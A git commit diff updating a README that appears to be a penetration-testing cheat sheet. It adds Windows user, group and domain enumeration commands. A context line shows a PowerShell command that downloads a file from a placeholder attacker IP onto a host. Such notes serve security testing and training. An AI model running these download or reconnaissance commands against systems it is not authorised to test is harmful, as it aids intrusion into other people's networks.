Update README.md

This commit is contained in:
Joe Totes
2022-09-01 14:11:15 -04:00
committed by GitHub
parent 70ab9afc30
commit 81aa628f66

View File

@@ -786,17 +786,23 @@ powershell -c "(new-object System.Net.WebClient).DownloadFile('http://{IP ADDRES
# Windows Enumeration Commands # Windows Enumeration Commands
# CMD # CMD
#Me
net users %username%
#All local users
net users
#Groups
net localgroup
#Who is inside Administrators group
net localgroup Administrators
#Check the privileges #Check the privileges
whoami /all whoami /all
# Enumerate all local accounts
net user
# Enumerate entire domain
net user /domain
# Enumerate information about user
net user {USERNAME} /domain
# Enumerate all groups in domain
net group /domain
# PS # PS
Get-WmiObject -Class Win32_UserAccount Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon Get-LocalUser | ft Name,Enabled,LastLogon